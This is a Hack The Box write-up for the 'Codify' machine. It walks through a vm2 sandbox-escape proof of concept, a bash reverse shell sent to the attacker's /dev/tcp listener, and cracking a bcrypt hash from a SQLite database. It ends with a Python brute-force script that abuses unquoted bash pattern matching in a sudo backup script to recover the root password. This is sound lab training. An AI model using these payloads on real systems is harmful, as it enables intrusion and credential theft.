Codify writeup banner

Codify

Hack The Box Machine Writeup

I too hack in a suit and tie.

I too hack in a suit and tie.

Summary

Codify an easy node.js box with some interesting concepts. The user step revolves around a Vm2 sandbox escape and some password cracking while the root step revolves around the exploitation of \* bash syntax in a script that can be run as root.

The route to user.txt starts off with discovering the use of the vm2 node.js module on a web application that executes JavaScript code. A quick search for exploits surrounding this module reveals sandbox vm escape POCs that can be used to execute system commands. This vulnerability can then be executed on the web app to gain a foothold shell. Enumerating the host the attacker then comes across a database in the web directory that contains a password hash. Cracking this hash results in a shell as the Joshua user and user.txt

For root we begin by finding that Joshua is able to run a custom bash script as root. This script requests a password from the user and then passes it to evaluation without any escaping or sanitization. This allows an attacker to exploit the traits of the \* character in bash to discover the root users password through brute force. Su can then be used to switch to a root shell and complete the box.

AI is the only coder you need!

AI is the only coder you need!

User

Recon

Nmap Scan

The nmap scan reveals 3 ports. SSH and 2 web server ports on 80 and 3000. It also shows us a redirect to codify.htb. We can add this into our /etc/host file and use it as a clue to bruteforce scan for virtual hosts. -sC flag is default scripts, -sV is for version enumeration.

sh
┌──(kali㉿kali)-[~/Desktop]
└─$ nmap -sC -sV 10.10.11.239
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-05 15:47 EST
Nmap scan report for 10.10.11.239
Host is up (0.037s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 96:07:1c:c6:77:3e:07:a0:cc:6f:24:19:74:4d:57:0b (ECDSA)
|_  256 0b:a4:c0:cf:e2:3b:95:ae:f6:f5:df:7d:0c:88:d6:ce (ED25519)
80/tcp   open  http    Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://codify.htb/
3000/tcp open  http    Node.js Express framework
|_http-title: Codify
Service Info: Host: codify.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.60 seconds

Wfuzz Scan for Virtual Hosts

Whenever there are domains discovered I like to brute force fuzz for virtual hosts. This can easily be done with Wfuzz. The u flag is for the url to scan. -H specifies the header value with FUZZ being the section that will be replaced. -w Is the wordlist ro replace FUZZ within each request. Running it once I find the default response with a W, word count, of 28. I will use a final flag --hw to hide all bad responses based on the default of a 28 word count. Unfortunately this scan does not discover anything.

shell
┌──(kali㉿kali)-[~/Desktop]
└─$ wfuzz -u "http://codify.htb" -H "Host: FUZZ.codify.htb" -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt --hw 28
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
 /home/kali/.local/lib/python3.11/site-packages/requests/__init__.py:102: RequestsDependencyWarning:urllib3 (1.26.16) or chardet (5.2.0)/charset_normalizer (2.0.12) doesn't match a supported version!
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://codify.htb/
Total requests: 4989

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                 
=====================================================================


Total time: 17.75138
Processed Requests: 4989
Filtered Requests: 4989
Requests/sec.: 281.0484

Website enumeration

Moving onto the website we see the same thing on port 80 and port 3000. There is a homepage with a Try it now button that links to /editor. There is also a link embedded in the page's text that points to /limitations. Lastly there is an about us tab at the top left.

That Try it now button looks very suspicious

That Try it now button looks very suspicious

/limitations is a page that displays what appears to be whitelist and blacklist information for the provided web application. This will be useful to have as a reference later.

Telling people how your filtering user input is a bad idea....

Telling people how your filtering user input is a bad idea....

The about us tab links to /about which displays some generic information about the application developers. Interestingly there is also a mention of the Vm2 library being used for sandboxing the java script. This will be very useful information for later and is our route to exploiting the machine. It is always good to fully enumerate before attacking though so we will continue.

Always have to have an about us page!

Always have to have an about us page!

Last up is the try it now button on the homepage which links to the web application located at /editor. This as we have discovered from the site descriptions appears to run any node.js code we input.

Told you it was suspicious

Told you it was suspicious

But I like node.js :(

But I like node.js :(

Vm2 Sandbox Escape

Searching online for vm2 exploits quickly leads us to many versions of sandbox escaping we can use to execute system commands. There is an article here that details this process and provides us another link to POC code we can use to test this exploit on our web application.

sh
const {VM} = require("vm2");
const vm = new VM();

const code = `
err = {};
const handler = {
    getPrototypeOf(target) {
        (function stack() {
            new Error().stack;
            stack();
        })();
    }
};
  
const proxiedErr = new Proxy(err, handler);
try {
    throw proxiedErr;
} catch ({constructor: c}) {
    c.constructor('return process')().mainModule.require('child_process').execSync('touch pwned');
}
`

console.log(vm.run(code));
And just like that we have RCE

And just like that we have RCE

This POC shows that we are still able to call child_process to execute arbitrary code despite the apparent whitelisting and blacklisting described at /limitations. I believe this is due to the way importing and inheritance work in Javascript. We are essentially able to use child_process for code execution and escape the VM sandboxing by using the parent process of our vm sandboxing process. Changing the default payload of 'touch pwned' to a reverse shell generated by revshells we are now able to obtain our foothold shell. Don't forget we will need to prepend bash -c and escape our double quotes in order to correctly format the attack.

sh
bash -c \"bash -i >& /dev/tcp/10.10.14.13/42069 0>&1\"

Starting an nc listener and passing in the appropriate payload we catch the shell and can perform the standard script trick to upgrade it.

sh
┌──(kali㉿kali)-[~/Desktop]
└─$ nc -lvnp 42069
listening on [any] 42069 ...
connect to [10.10.14.13] from (UNKNOWN) [10.10.11.239] 45836
bash: cannot set terminal process group (1252): Inappropriate ioctl for device
bash: no job control in this shell
svc@codify:~$ script /dev/null -c bash 
script /dev/null -c bash 
Script started, output log file is '/dev/null'.
svc@codify:~$ ^Z
zsh: suspended  nc -lvnp 42069
                                                                                                                         
┌──(kali㉿kali)-[~/Desktop]
└─$ stty raw -echo;fg           
[1]  + continued  nc -lvnp 42069
                                reset
svc@codify:~$ id
uid=1001(svc) gid=1001(svc) groups=1001(svc)
is that grumpy cat!?

is that grumpy cat!?

Shell as Joshua

looking at /home we can see only one other user, Joshua. As we still do not have access to user.txt, getting access to this user is the likely next step. a good place to start when landing as a webservice shell like we did is the web directory.

sh
svc@codify:/var/www$ ls
contact  editor  html

In this case we can see a contact directory that we did not find externally. Inside here is a tickets.db file. Databases often have high value things to enumerate as they tend to contain hashed passwords and other credentials.

sh
svc@codify:/var/www/contact$ ls -la
total 120
drwxr-xr-x 3 svc  svc   4096 Sep 12 17:45 .
drwxr-xr-x 5 root root  4096 Sep 12 17:40 ..
-rw-rw-r-- 1 svc  svc   4377 Apr 19  2023 index.js
-rw-rw-r-- 1 svc  svc    268 Apr 19  2023 package.json
-rw-rw-r-- 1 svc  svc  77131 Apr 19  2023 package-lock.json
drwxrwxr-x 2 svc  svc   4096 Apr 21  2023 templates
-rw-r--r-- 1 svc  svc  20480 Sep 12 17:45 tickets.db

In this instance we can simply cat the database file and discover a password hash for the Joshua user.

sh
svc@codify:/var/www/contact$ cat tickets.db 
�T5��T�format 3@  .WJ
       otableticketsticketsCREATE TABLE tickets (id INTEGER PRIMARY KEY AUTOINCREMENT, name TEXT, topic TEXT, description TEXT, status TEXT)P++Ytablesqlite_sequencesqlite_sequenceCREATE TABLE sqlite_sequence(name,seq)��      tableusersusersCREATE TABLE users (
        id INTEGER PRIMARY KEY AUTOINCREMENT, 
        username TEXT UNIQUE, 
        password TEXT
��G�joshua$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2
��
����ua  users
             ickets
r]r�h%%�Joe WilliamsLocal setup?I use this site lot of the time. Is it possible to set this up locally? Like instead of coming to this site, can I download this and set it up in my own computer? A feature like that would be nice.open� ;�wTom HanksNeed networking modulesI think it would be better if you can implement a way to handle network-based stuff. Would help me out a lot. Thanks!open

Cracking Password Hash

From here I copied the hash into a file and ran it through hashcats auto detect. we can use the -m 3200 flag to crack the hash to the password spongebob1

sh
┌──(kali㉿kali)-[~/Desktop]
└─$ cat hash                              
$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2

┌──(kali㉿kali)-[~/Desktop]
└─$ hashcat hash /usr/share/wordlists/rockyou.txt -m 3200
hashcat (v6.2.6) starting
<...>
$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2:spongebob1

We can now at last use this password to login with SSH to the Joshua user and grab user.txt.

sh
┌──(kali㉿kali)-[~/Desktop]
└─$ ssh joshua@codify.htb   
joshua@codify.htb's password:spongebob1
<...>
joshua@codify:~$ cat user.txt
238820ef587acbe0f877d818cf4fe1e7
My reaction to the password

My reaction to the password

Root

Enumeration

Starting with listing sudo permissions with -l we can discover that Joshua can run a custom mysql-backup.sh script as root. This immediately stands out as the likely path to escalate privileges.

sh
joshua@codify:~$ sudo -l
[sudo] password for joshua: 
Matching Defaults entries for joshua on codify:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User joshua may run the following commands on codify:
    (root) /opt/scripts/mysql-backup.sh

We can then read this file and start finding a way to exploit it.

javascript
joshua@codify:/opt/scripts$ cat mysql-backup.sh 
#!/bin/bash
DB_USER="root"
DB_PASS=$(/usr/bin/cat /root/.creds)
BACKUP_DIR="/var/backups/mysql"

read -s -p "Enter MySQL password for $DB_USER: " USER_PASS
/usr/bin/echo

if [[ $DB_PASS == $USER_PASS ]]; then
        /usr/bin/echo "Password confirmed!"
else
        /usr/bin/echo "Password confirmation failed!"
        exit 1
fi

/usr/bin/mkdir -p "$BACKUP_DIR"

databases=$(/usr/bin/mysql -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" -e "SHOW DATABASES;" | /usr/bin/grep -Ev "(Database|information_schema|performance_schema)")

for db in $databases; do
    /usr/bin/echo "Backing up database: $db"
    /usr/bin/mysqldump --force -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" "$db" | /usr/bin/gzip > "$BACKUP_DIR/$db.sql.gz"
done

/usr/bin/echo "All databases backed up successfully!"
/usr/bin/echo "Changing the permissions"
/usr/bin/chown root:sys-adm "$BACKUP_DIR"
/usr/bin/chmod 774 -R "$BACKUP_DIR"
/usr/bin/echo 'Done!'

The program reads roots password from /root/.creds and then passes it to commands which replicate a database. If we can get the script to execute we should be able to either read the DB_PASS variable value or see it passed when the bash commands executed by using pspy and obtain roots password.

Exploiting Bash Syntax

An important thing to notice in this script is that the USER_PASS variable is taken from us without any sanitization. Unescaped or unsanitized user input can almost always lead to some form of exploitation. This case is no exception as the check $DB_PASS == $USER_PASS can be made to always be true by passing the value of \* as the USER_PASS variable. \* represents a wildcard and in this case would render the check to if DB_PASS = \* or anything, which will always be true if there is a value for DB_PASS. We can demonstrate this by using \* and seeing how the script accepts the password and finishes execution.

sh
joshua@codify:/opt/scripts$ sudo ./mysql-backup.sh 
Enter MySQL password for root: *
Password confirmed!
mysql: [Warning] Using a password on the command line interface can be insecure.
Backing up database: mysql
mysqldump: [Warning] Using a password on the command line interface can be insecure.
-- Warning: column statistics not supported by the server.
mysqldump: Got error: 1556: You can't use locks with log tables when using LOCK TABLES
mysqldump: Got error: 1556: You can't use locks with log tables when using LOCK TABLES
Backing up database: sys
mysqldump: [Warning] Using a password on the command line interface can be insecure.
-- Warning: column statistics not supported by the server.
All databases backed up successfully!
Changing the permissions
Done!
Don't be a bad luck Brian

Don't be a bad luck Brian

Using Pspy To See Function Calls

As mentioned before, we should be able to use pspy to view the processes and when the command to backup the database with the root user's password executes we should be able to see it and extract the password. To do this we will first need to bring over pspy. I used a python simple http server and wget from the tmp folder.

sh
┌──(kali㉿kali)-[~/tools]
└─$ python -m http.server 80        
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.239 - - [05/Nov/2023 16:29:03] "GET /pspy64 HTTP/1.1" 200 -

joshua@codify:/tmp$ wget http://10.10.14.13/pspy64
--2023-11-05 21:29:03--  http://10.10.14.13/pspy64
Connecting to 10.10.14.13:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3104768 (3.0M) [application/octet-stream]
Saving to: ‘pspy64’

pspy64                         100%[=================================================>]   2.96M  5.33MB/s    in 0.6s    

2023-11-05 21:29:03 (5.33 MB/s) - ‘pspy64’ saved [3104768/3104768]

joshua@codify:/tmp$ ls
pspy64
<...>

To get a second shell we can simply use ssh again. We will then run pspy. Don't forget to give it execute permissions with chmod first though.

sh
joshua@codify:/tmp$ chmod +x pspy64 
joshua@codify:/tmp$ ./pspy64 
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d


     ██▓███    ██████  ██▓███ ▓██   ██▓
    ▓██░  ██▒▒██    ▒ ▓██░  ██▒▒██  ██▒
    ▓██░ ██▓▒░ ▓██▄   ▓██░ ██▓▒ ▒██ ██░
    ▒██▄█▓▒ ▒  ▒   ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
    ▒██▒ ░  ░▒██████▒▒▒██▒ ░  ░ ░ ██▒▓░
    ▒▓▒░ ░  ░▒ ▒▓▒ ▒ ░▒▓▒░ ░  ░  ██▒▒▒ 
    ░▒ ░     ░ ░▒  ░ ░░▒ ░     ▓██ ░▒░ 
    ░░       ░  ░  ░  ░░       ▒ ▒ ░░  
                   ░           ░ ░     
                               ░ ░  
<...>

While this is running we can then run mysql-backup.sh as sudo on our other shell. Using \* as the value. Unfortunately we can see that it is not working as I thought it would and we cannot see the process calls.

sh
oshua@codify:/opt/scripts$ sudo ./mysql-backup.sh 
Enter MySQL password for root: *
Password confirmed!

2023/11/05 21:31:36 CMD: UID=0     PID=2189   | sudo ./mysql-backup.sh s
2023/11/05 21:31:36 CMD: UID=0     PID=2188   | sudo ./mysql-backup.sh 
2023/11/05 21:31:36 CMD: UID=0     PID=2190   | /bin/bash /opt/scripts/mysql-backup.sh 
2023/11/05 21:31:37 CMD: UID=0     PID=2191   | 
2023/11/05 21:31:37 CMD: UID=0     PID=2192   | 
2023/11/05 21:31:37 CMD: UID=0     PID=2193   | /bin/bash /opt/scripts/mysql-backup.sh l-backup.sh
<...> 
2023/11/05 21:31:38 CMD: UID=0     PID=2204   | 
2023/11/05 21:31:38 CMD: UID=0     PID=2205   | /bin/bash /opt/scripts/mysql-backup.sh 
2023/11/05 21:31:38 CMD: UID=0     PID=2206   | /bin/bash /opt/scripts/mysql-backup.sh 
2023/11/05 21:31:38 CMD: UID=0     PID=2207   | /bin/bash /opt/scripts/mysql-backup.sh 
2023/11/05 21:31:41 CMD: UID=0     PID=2208   | 

Shell as Root

One thing that is also interesting about the bash syntax is that == with our unquoted string will do pattern matching as outlined here. That means if we have a\* and the actual password starts with a we will get a match. However if it doesn't start with an a the command will fail. We can do this recursively ab\*, abc\* etc. In this way we can brute force the correct password one letter at a time. Below is a python script that will execute this brute force attack.

python
import string
import subprocess

all_characters_and_numbers = list(string.ascii_letters + string.digits)

password = ""
found = False

while not found:
    for character in all_characters_and_numbers:
        command = f"echo '{password}{character}*' | sudo /opt/scripts/mysql-backup.sh"
        output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True).stdout

        if "Password confirmed!" in output:
            password += character
            print(password)
            break
    else:
        found = True

However there is a faster way. For some reason using only the first letter of the password k\* will now have pspy show the mysql command containing the root password as I expected. I did find this to be extremely finicky and not always work. Restarting pspy seems to help alleviate the issue. I'm not sure if this is the intended route or if it is the brute force script.

sh
2023/11/05 21:37:02 CMD: UID=0     PID=2328   | /bin/bash /opt/scripts/mysql-backup.sh 
2023/11/05 21:37:02 CMD: UID=0     PID=2327   | /usr/bin/mysql -u root -h 0.0.0.0 -P 3306 -pkljh12k3jhaskjh12kjh3 -e SHOW DATABASES;                                                                                                              
2023/11/05 21:37:02 CMD: UID=0     PID=2329   | /bin/bash /opt/scripts/mysql-backup.sh 
sh
joshua@codify:/tmp$ python3 script.py 
k
kl
klj
kljh
kljh1
kljh12
kljh12k
kljh12k3
kljh12k3j
kljh12k3jh
kljh12k3jha
kljh12k3jhas
kljh12k3jhask
kljh12k3jhaskj
kljh12k3jhaskjh
kljh12k3jhaskjh1
kljh12k3jhaskjh12
kljh12k3jhaskjh12k
kljh12k3jhaskjh12kj
kljh12k3jhaskjh12kjh
kljh12k3jhaskjh12kjh3

Regardless from here we can use that password along with su to switch to the root user and grab root.txt, completing the box.

sh
joshua@codify:/tmp$ su -
Password: kljh12k3jhaskjh12kjh3
root@codify:~# cat root.txt
9104379050c8fd14e2791d8108a569d1
Congrats on another easy box completed friends!

Congrats on another easy box completed friends!

Additional Resources

Ippsec video walkthrough

0xdf writeup

0xdf.gitlab.io